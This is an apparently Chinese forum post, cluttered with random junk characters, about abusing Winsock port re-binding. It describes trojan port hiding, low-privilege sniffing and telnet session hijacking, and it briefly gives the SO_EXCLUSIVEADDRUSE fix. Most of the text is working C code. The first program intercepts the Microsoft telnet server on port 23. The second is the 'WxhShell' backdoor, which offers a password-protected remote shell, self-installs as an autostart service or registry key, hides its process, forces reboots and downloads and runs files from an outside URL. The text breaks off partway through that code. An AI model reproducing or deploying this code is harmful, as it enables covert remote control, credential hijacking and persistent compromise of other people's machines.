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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7#-y-B]l  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |4b)>8TL/  
>a>fb|r  
  saddr.sin_family = AF_INET; KMjg;! y  
RKTb' 3H  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); B 0)]s<<  
`M@Ak2gcR+  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Y2T$BJJ  
kA#vByf`v  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 6*XM7'n  
svhrf;3:  
  这意味着什么?意味着可以进行如下的攻击: rPiNv 30L  
&M"ouy Zo9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \2X$C#8E  
n:#TOU1ix<  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) F0dI/+  
IazkdJX~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Vk}49O<K/  
BzbDZV  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,M6ZZ* ,e  
4j'd3WGpbN  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ' UMFS  
faJM^u  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 kE)!<1yy2  
RtV.d \  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 FY#!N L  
=@r--E  
  #include ?nFO:N<  
  #include "mIgs9l$  
  #include zlf} .  
  #include    Hi,t@!!  
  DWORD WINAPI ClientThread(LPVOID lpParam);   $H2GbZ-I  
  int main() h)x_zZ%>o  
  { }ot"Sx\.  
  WORD wVersionRequested; d@kc[WLD^  
  DWORD ret; wNQqfq Z  
  WSADATA wsaData; G=d(*+& B  
  BOOL val; hR)2xz  
  SOCKADDR_IN saddr; jBtj+ TL8  
  SOCKADDR_IN scaddr; `T WN^0!]  
  int err; <' m6^]:  
  SOCKET s; <8o(CA\  
  SOCKET sc; @LX6hm*}  
  int caddsize; M]EsS^/X  
  HANDLE mt; )pgrl  
  DWORD tid;   `y!/F?o+!  
  wVersionRequested = MAKEWORD( 2, 2 ); zCe/Kukvy  
  err = WSAStartup( wVersionRequested, &wsaData ); Ok H\^  
  if ( err != 0 ) { T] | d 5E  
  printf("error!WSAStartup failed!\n"); +]!lS7nsW  
  return -1; jX */piSq  
  } /oP^'""@je  
  saddr.sin_family = AF_INET; J)x3\[}Ye  
   c{3rl;Cs  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;+_8&wbqW  
JdNF-64ky  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); bI ITPxz  
  saddr.sin_port = htons(23); UH3t(o7O  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _a'A~JY  
  { vA&Vu"}S  
  printf("error!socket failed!\n"); ;5S}~+j  
  return -1; 9'KonW  
  } (H#M<N  
  val = TRUE; 4E3g,%9u  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ecHP &Z$  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) h'5Cp(G  
  { %FA@)?~  
  printf("error!setsockopt failed!\n"); t9 F=^)s  
  return -1; h%}( h2 W  
  } <[Oo*:A!7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; z;3NiY  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ] |Zb\{  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9O98Q6-s  
X[hM8G  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) w G!u+  
  { 3#GqmhqKDk  
  ret=GetLastError(); \U@3`  
  printf("error!bind failed!\n"); >- Bg%J9  
  return -1; Z!{UWegun  
  } NoDZ5Z  
  listen(s,2); 0!#; j{JQ  
  while(1) >S#ul?  
  {  tFh|V pB  
  caddsize = sizeof(scaddr); f`P9ku#j}  
  //接受连接请求 Qi=*1QAkr  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); vq6%Ey3Gix  
  if(sc!=INVALID_SOCKET) ;=;JfNnbm  
  { ,0?!ov|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `/:cfP\  
  if(mt==NULL) :`W|h E^  
  { 2@i;_3sv  
  printf("Thread Creat Failed!\n"); cyF4iG'M,y  
  break; 3Sh+u>w  
  } SI-X[xf  
  } eBcJm  
  CloseHandle(mt); l5O=VqCj  
  } k W-81  
  closesocket(s); FC>d_=V  
  WSACleanup(); #g v4  
  return 0; +;gsRhWk  
  }   ?pwE0N^  
  DWORD WINAPI ClientThread(LPVOID lpParam) ?0vNEz[  
  { );JJ2Jlkd  
  SOCKET ss = (SOCKET)lpParam; - q@69q  
  SOCKET sc; .[j%sGdKl  
  unsigned char buf[4096]; v'9m7$  
  SOCKADDR_IN saddr; AK/:I>M  
  long num; |nxdB&1n  
  DWORD val; 5 2Hqu>  
  DWORD ret; Mq\~`8V  
  //如果是隐藏端口应用的话,可以在此处加一些判断 '044Vm;/  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ]PS\#I}  
  saddr.sin_family = AF_INET; z +VV}:Q  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); G[yI*/E;  
  saddr.sin_port = htons(23); Zf:]Gq1  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >Y&KTSD"  
  { P_Uutn~  
  printf("error!socket failed!\n"); Mg? L-C  
  return -1; iuAq.$oi{  
  } \{v,6JC  
  val = 100; JP=ZUu  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L.)yXuo4  
  { >)c9|e=8  
  ret = GetLastError(); :5# V^\3*  
  return -1; >BoSw&T$Q  
  } \< 65??P  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) MCy~@)-IN  
  { 4rp6 C/i  
  ret = GetLastError(); 2 P}bG>M  
  return -1; U^$E'Q-VK  
  } -2*>`,Uu  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) !,bPe5?Ql  
  { &]NZvqdj.]  
  printf("error!socket connect failed!\n"); |63Y >U"  
  closesocket(sc); Bc ^4 T1  
  closesocket(ss); jnBC;I[:  
  return -1; o)I/P<  
  } {LB`)Kuu  
  while(1) buY D l  
  { z7=fDe -  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >t #\&|9I  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 p;->hn~D'5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 0dt"ZSm  
  num = recv(ss,buf,4096,0); >oY^Gx  
  if(num>0) dR[o|r  
  send(sc,buf,num,0); ^k72{ 3N(  
  else if(num==0) 'JZ_  
  break; QJXdb]Y^;  
  num = recv(sc,buf,4096,0); 8/q*o>[?  
  if(num>0) Pj!%ym3A  
  send(ss,buf,num,0); !S,pRS+  
  else if(num==0) Z_itu73I  
  break; fVUKvZ}P*  
  } L@A9{,9Pl  
  closesocket(ss); s]x2DH+_  
  closesocket(sc); j|4tiv>  
  return 0 ; L82NP)St  
  } x# 8IZ  
[.3sE  
8+(c1  
========================================================== !-(J-45  
k3yxx]Rk/  
下边附上一个代码,,WXhSHELL 4ftj>O  
Q8Te'1Ln!  
========================================================== l1RlYl5  
}td6fj_{  
#include "stdafx.h" b]#~39Iph  
`A{'s %$?!  
#include <stdio.h> m+T2vi  
#include <string.h> 4  
#include <windows.h> cx:jUsb6  
#include <winsock2.h> rWe 8D/oc  
#include <winsvc.h> SALCuo"L  
#include <urlmon.h> *vs~SzF$  
#pa\ 2d|  
#pragma comment (lib, "Ws2_32.lib") 8S=c^_PJ  
#pragma comment (lib, "urlmon.lib") e7|d=W  
0UjyMEiK  
#define MAX_USER   100 // 最大客户端连接数 <PQRd  
#define BUF_SOCK   200 // sock buffer Y_lCcu#OA  
#define KEY_BUFF   255 // 输入 buffer .~,^u  
/cY[at|p  
#define REBOOT     0   // 重启 )$F6  
#define SHUTDOWN   1   // 关机 1gAc,s2  
z1qUz7  
#define DEF_PORT   5000 // 监听端口 05g?jV  
my=~"bw4  
#define REG_LEN     16   // 注册表键长度 -faw:  
#define SVC_LEN     80   // NT服务名长度 ~ i'C/[P  
.-%oDuB5zF  
// 从dll定义API 44|03Ty  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6\mC$:F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2w7@u/OC'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9BurjG1k?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KM@`YV_"g  
yh$ ~*UV  
// wxhshell配置信息 ?a8nz, zb  
struct WSCFG { |nfH-JytV  
  int ws_port;         // 监听端口 Nc:U4  
  char ws_passstr[REG_LEN]; // 口令 )w@y(;WJ  
  int ws_autoins;       // 安装标记, 1=yes 0=no qIk )'!Vk  
  char ws_regname[REG_LEN]; // 注册表键名 y|LXDq4Wj  
  char ws_svcname[REG_LEN]; // 服务名 'F6#l"~/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Y?e3Bx7*b  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 bZnDd  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $"(3MnR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no EKJH_!%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" IjgBa-o/V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 MIJ%_=sm4:  
'[xut1{  
}; A7e_w 7?a  
Qvs(Rt3?y  
// default Wxhshell configuration WT1q15U(=  
struct WSCFG wscfg={DEF_PORT, *IVD/9/  
    "xuhuanlingzhe",  ^ M8k  
    1, XSls]o s  
    "Wxhshell", -MsuBf  
    "Wxhshell", @US '{hO1p  
            "WxhShell Service", ~.!?5(AH8z  
    "Wrsky Windows CmdShell Service", /$<JCNGv  
    "Please Input Your Password: ", +Hi{ /{k0N  
  1, +*Q9.LjV  
  "http://www.wrsky.com/wxhshell.exe", [)bz6\d[  
  "Wxhshell.exe" oRV] p  
    }; l.yJA>\24I  
#C'o'%!(  
// 消息定义模块 Q0_M-^~WT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  !zF4 G,W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; UU-v;_oP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; '1qAZkz  
char *msg_ws_ext="\n\rExit."; &<#/&Pq/i  
char *msg_ws_end="\n\rQuit."; $)Jc-V 6E  
char *msg_ws_boot="\n\rReboot..."; Q=MCMe  
char *msg_ws_poff="\n\rShutdown..."; $o{F  
char *msg_ws_down="\n\rSave to "; ` 3vN R"  
e(4bx5 <*  
char *msg_ws_err="\n\rErr!"; =/M$ <+  
char *msg_ws_ok="\n\rOK!"; zww?  
R^F7a0"  
char ExeFile[MAX_PATH]; ?Of{c,2 .  
int nUser = 0;  |UABar b  
HANDLE handles[MAX_USER]; av7q>NEZ!1  
int OsIsNt; Vl&+/-V  
he_HVRpB  
SERVICE_STATUS       serviceStatus; d#RF0,Y9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 38OIFT  
Z={UM/6w  
// 函数声明 OME!W w  
int Install(void); #a/n5c&6/  
int Uninstall(void); G >I.  
int DownloadFile(char *sURL, SOCKET wsh); s}z(|I rH  
int Boot(int flag); 5Q2TT $P  
void HideProc(void); <7@mg/T  
int GetOsVer(void); x Q@&W;  
int Wxhshell(SOCKET wsl); p]X!g  
void TalkWithClient(void *cs); 4Q &Xb <  
int CmdShell(SOCKET sock); ^p'D<!6sK  
int StartFromService(void); F%Ro98?{  
int StartWxhshell(LPSTR lpCmdLine); _ +0uju?o}  
eimA *0Cq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); pqRO[XEp2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v GulM<YY  
N8u_=b{X  
// 数据结构和表定义 *S,v$ VX  
SERVICE_TABLE_ENTRY DispatchTable[] = ,S7~=S  
{ W ??;4  
{wscfg.ws_svcname, NTServiceMain}, rin >r0o  
{NULL, NULL} iA5* _tK5  
}; 1gf/#+$\  
w}]3jc84  
// 自我安装 n-L]YrDPK[  
int Install(void) K gR1El. r  
{ HCfS)`  
  char svExeFile[MAX_PATH]; hqwz~Ky}  
  HKEY key; 3ZT/>a>@  
  strcpy(svExeFile,ExeFile); 0e[ tKn(  
L|dab {9  
// 如果是win9x系统,修改注册表设为自启动 WW,r9D:/  
if(!OsIsNt) { \" 5F;J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !nZI? z;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a3DoLq"/  
  RegCloseKey(key); W]C_oh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LRfFn^FPM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /It.>1~2@  
  RegCloseKey(key); od|N-R  
  return 0; _Ct@1}aa4x  
    } [rD+8,zVm  
  } kM6 EZ`mj  
} SF78 s:_!_  
else { :BC<+T=  
z22|Kv;w  
// 如果是NT以上系统,安装为系统服务 2- |j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zEA{%)W  
if (schSCManager!=0) Ply2DQr  
{ RBHqLg(  
  SC_HANDLE schService = CreateService & y 2GQJE  
  ( }lr fO_  
  schSCManager, bUZ&}(/  
  wscfg.ws_svcname, z[<pi :  
  wscfg.ws_svcdisp, : .UX[!^  
  SERVICE_ALL_ACCESS, k;AV;KWI'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U)T/.L{0i  
  SERVICE_AUTO_START, JXRmu~W~l  
  SERVICE_ERROR_NORMAL, 7J)a"d^e  
  svExeFile, Nys'4kx7  
  NULL, &T| UAM.  
  NULL, tCF0Ah  
  NULL, T`(;;%  
  NULL, ta+"lM7A}$  
  NULL EeF n{_  
  ); }]Z,\lA  
  if (schService!=0) 'J&@jp  
  { cfO^CC  
  CloseServiceHandle(schService); )f_"`FH0d  
  CloseServiceHandle(schSCManager); &6~ncQWu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4 I]/  
  strcat(svExeFile,wscfg.ws_svcname); "O"^\f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { d-K5nRyI  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hP6fTZ=Ln  
  RegCloseKey(key); Yg:74; .  
  return 0; }f0^9(  
    } b;t}7.V'%  
  } gE]a*TOZk  
  CloseServiceHandle(schSCManager); FB^dp}  
} {0m[:af&  
} E<fwl1<88  
n"Z,-./m  
return 1; ?\/dfK:!  
} [{d[f|   
- KoA[UJ  
// 自我卸载 o<eWg  
int Uninstall(void) x]jdx#'  
{ 6iA c@  
  HKEY key; 6nhfI\q3wY  
V~%WKQ  
if(!OsIsNt) { /*xmv $  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eyl) uR  
  RegDeleteValue(key,wscfg.ws_regname); [^"(%{H  
  RegCloseKey(key); D%";!7u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1.cUol nr  
  RegDeleteValue(key,wscfg.ws_regname); 75BOiX  
  RegCloseKey(key); Fr Q-v]c  
  return 0; D9pxe qf+=  
  } DIcyXZH<  
} *U[Q=w  
} p|O-I&Xd  
else { bNPjefBF  
VIlQzM;%^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )jQe K  
if (schSCManager!=0) 4s+J-l  
{ / hj9Q!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); KE|u}M@v6  
  if (schService!=0) Z+pvdu  
  { JKu6+V jO  
  if(DeleteService(schService)!=0) { .4m3@!qo)E  
  CloseServiceHandle(schService); )]e d;V  
  CloseServiceHandle(schSCManager); j]] ziz,E  
  return 0; ~bm2_/RL  
  } <45dy5!Tz  
  CloseServiceHandle(schService); 2K7:gd8Ru  
  } aN);P>  
  CloseServiceHandle(schSCManager); ]oZ,{Q5~  
} &>^Ympr  
} 8"I5v(TV  
(;S]{z%  
return 1; C Wl95g  
} 9#$V1(}?  
o dQ&0d  
// 从指定url下载文件 :?of./Df|  
int DownloadFile(char *sURL, SOCKET wsh) WaZ@  
{ w<^2h}5  
  HRESULT hr; ]NhWhJ:  
char seps[]= "/"; n;T  
char *token; V%KW[v<G<  
char *file; UBk 5O&  
char myURL[MAX_PATH]; U3R`mHr0  
char myFILE[MAX_PATH]; :|6D@  
.$E~.6J %i  
strcpy(myURL,sURL); 8 $*cfOC  
  token=strtok(myURL,seps); TKs@?Q,J  
  while(token!=NULL) ^eT>R,aB  
  { m_O=X8uj"D  
    file=token; 'MM~ ~:  
  token=strtok(NULL,seps); q,h.W JI  
  } l\l]9Z6%  
L08;z  
GetCurrentDirectory(MAX_PATH,myFILE); 5~rY=0t  
strcat(myFILE, "\\"); T!eh?^E  
strcat(myFILE, file); 8X~vJ^X9@y  
  send(wsh,myFILE,strlen(myFILE),0); 5r}(|86O/  
send(wsh,"...",3,0); VlXy&oZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nhaoh!8A6  
  if(hr==S_OK) a9q?9X  
return 0;  C(Gb  
else T/.y(8!0I8  
return 1; ra#)*fG,~  
aNf3 R;*  
} n7YWc5:CaL  
MicVNs  
// 系统电源模块 KKTfxNxJn  
int Boot(int flag) we).8%)'  
{ ]R.Vq\A%S  
  HANDLE hToken; vWU4ZBT8G  
  TOKEN_PRIVILEGES tkp; @T=HcUP)  
rQ-z2Pw  
  if(OsIsNt) { k |aOUW  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~w}[ ._'#M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d:WhP_rK9  
    tkp.PrivilegeCount = 1; +o70: UF%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *:\9 T#h  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); UDqKF85H  
if(flag==REBOOT) { iKTU28x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _=$!T;}lE  
  return 0; 4Tw1gas.  
} 1|$Rzt%ge  
else { \$Qm2XKrK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) g. VIe  
  return 0; ^)]*10  
} ${:$jX[  
  } 9 7qS.Z27  
  else { 'cc4Y~0s  
if(flag==REBOOT) { +}Wo=R}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yX Q;LQ;  
  return 0; o8pe07n(W  
} g \h7`-#t  
else { u5B/Em7,0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ZpBH;{.,  
  return 0; !oRm.c O  
} D`ge3f8Wi  
} =ZL}Av}  
DG FvRB  
return 1; <^Nj~+G'  
} Wb(0Szk;  
 &\br_  
// win9x进程隐藏模块 HWAqJb [  
void HideProc(void) $?Mz[X  
{ 90v18k  
r6_a%A*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =_:L wmI  
  if ( hKernel != NULL ) 6M|%nBN$|  
  { 6?x{-Zj ^?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S.4YC>E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); RN3D:b+  
    FreeLibrary(hKernel);  0PbIWy'  
  } V1U[p3J-S  
"x^bl+_"  
return; 6-YR'ikU  
} Ox'.sq4  
9\0 K%LL  
// 获取操作系统版本 v%Q7\X(  
int GetOsVer(void) o/ 5 Fg>d  
{ J8Db AB4X  
  OSVERSIONINFO winfo; 8{<cqYCR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); K)@Buu&,p  
  GetVersionEx(&winfo); Br!&Y9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) JH;DVPX9z  
  return 1; <\mc|p"  
  else .AW*7Pp`f  
  return 0; _q$ fw&  
} jU~%5R  
KYW1<Wcp  
// 客户端句柄模块 RV(z>XM  
int Wxhshell(SOCKET wsl) m~B=C>r}t  
{ DNe^_v)]|  
  SOCKET wsh; E e&$9 )t  
  struct sockaddr_in client; O waXG/z~  
  DWORD myID; %%[TM(z  
o$ k$  
  while(nUser<MAX_USER) g7F Z -  
{ dfcG'+RU}  
  int nSize=sizeof(client); #^V"=RbD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); va;wQ~&  
  if(wsh==INVALID_SOCKET) return 1; qZ }XjL  
N|LVLsK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .>&fwG  
if(handles[nUser]==0) [{*#cr f  
  closesocket(wsh);  %C:XzK-x  
else TI  
  nUser++; 'a*IZb-M  
  } Shd,{Z)-Tg  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }YO}LQ-|  
w}b+vh^3Wy  
  return 0; PEl]HI_H  
} 7A-rF U$  
7mNskb|  
// 关闭 socket ^*Fkt(ida  
void CloseIt(SOCKET wsh) o3kj7U:'x  
{ 20)Il:x  
closesocket(wsh); {jI/9  
nUser--; 8< -Vkr  
ExitThread(0); K gX)fj  
} e8 .bH#  
q4N$.hpb  
// 客户端请求句柄 7 '/&mX>  
void TalkWithClient(void *cs) Hyg?as>}u  
{ 1gJ!!SHPo  
Akf9nT  
  SOCKET wsh=(SOCKET)cs; RI;RE/Z  
  char pwd[SVC_LEN]; ,Pm/ci( s  
  char cmd[KEY_BUFF]; }tPl?P'`  
char chr[1]; ZP<X#]$qb  
int i,j; tPHiz%  
'*; rm*n  
  while (nUser < MAX_USER) { ~s_$a8  
^B9wmxe  
if(wscfg.ws_passstr) { 3!L)7Z/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'c D"ZVm1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8<xy *=%  
  //ZeroMemory(pwd,KEY_BUFF); ffVYlNQ7L  
      i=0; 3R><AFMY?  
  while(i<SVC_LEN) { (" %yV_R  
~/%){t/uLY  
  // 设置超时 mUbaR  
  fd_set FdRead; 'z'm:|JW  
  struct timeval TimeOut; urB.K<5ZA  
  FD_ZERO(&FdRead); zZHsS$/  
  FD_SET(wsh,&FdRead); j@2 hI,+  
  TimeOut.tv_sec=8; m}(DJ?qP  
  TimeOut.tv_usec=0; G#Ow>NJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0l6%[U?o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]Y?$[+Y  
8Bvjj|~ (@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m.*+0NG  
  pwd=chr[0]; M ~IiJ9{  
  if(chr[0]==0xd || chr[0]==0xa) { .y!Hw{cq  
  pwd=0; Jd;1dYkH:  
  break; );[`rXH_  
  } 0&x)5^lG  
  i++; TxWj gW~  
    } ;`+,gVrp  
HChewrUAn  
  // 如果是非法用户,关闭 socket 7d*<'k]{,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s7?kU3 y=s  
} ~6nQ-  
N_0O"" d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GZw<Y+/V"5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wkGF&U  
t-Wn@a  
while(1) { =DgD&_  
;ORy&H aKl  
  ZeroMemory(cmd,KEY_BUFF); ;V GrZZ  
oCrn  
      // 自动支持客户端 telnet标准   +l9avy+P (  
  j=0; l O^h)hrR  
  while(j<KEY_BUFF) { V4H+m,R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P dJ*'@~i  
  cmd[j]=chr[0]; ^:#%TCJ  
  if(chr[0]==0xa || chr[0]==0xd) { pLU>vQA  
  cmd[j]=0; hmo?gD<  
  break; L[K_!^MZ  
  } |]Xw1.S.L  
  j++; /d4xHt5a  
    } %YXC-E3@O  
w~9gZ&hdp  
  // 下载文件 o\#C] pp  
  if(strstr(cmd,"http://")) { R&QT  'i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8/CGg_C1  
  if(DownloadFile(cmd,wsh)) 9(_/jU4mc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f`%k@\  
  else sw1XN?O  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K^S#?T|[9  
  } k[p  
  else { 'a}{s>{O  
Oq("E(z+f  
    switch(cmd[0]) { 7\xa_nrI  
  $I9zJ"*  
  // 帮助 HUJ $e2[  
  case '?': { yZ{YIy~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7~',q"4P/_  
    break; r0sd_@Oj  
  } M3V[p9>  
  // 安装 mNJB0B};m  
  case 'i': { x R.Ql>  
    if(Install()) mKg~8q 3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L,<.rr$:  
    else u{ng\d*KE}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J L3A/^  
    break; Rg6>6.fk*  
    } 1pK7EK3R  
  // 卸载 nxt1Y04,H  
  case 'r': { cZYX[.oIB  
    if(Uninstall()) )mEF_ &  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uzo}?X#  
    else $lqV(s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jmIP c3O0  
    break; QNo}nl /N  
    } >i~c>+R  
  // 显示 wxhshell 所在路径 tx@Q/ou`\P  
  case 'p': { pmS=$z;I  
    char svExeFile[MAX_PATH]; n'gfB]H[  
    strcpy(svExeFile,"\n\r"); ?`r/_EKNv  
      strcat(svExeFile,ExeFile); fq(e~Aqw$  
        send(wsh,svExeFile,strlen(svExeFile),0); rLnu\X=h$  
    break; /~yqZD<O  
    } S8y4 p0mV  
  // 重启 im' 0^  
  case 'b': { Ov9.qNT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NF.SGga  
    if(Boot(REBOOT)) "*0 szz'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g41LpplX  
    else { f,1rmX1  
    closesocket(wsh); 5Z:HCp-aG  
    ExitThread(0); ZoUfQ!2*  
    } l|K8+5L  
    break; @sDd:> t  
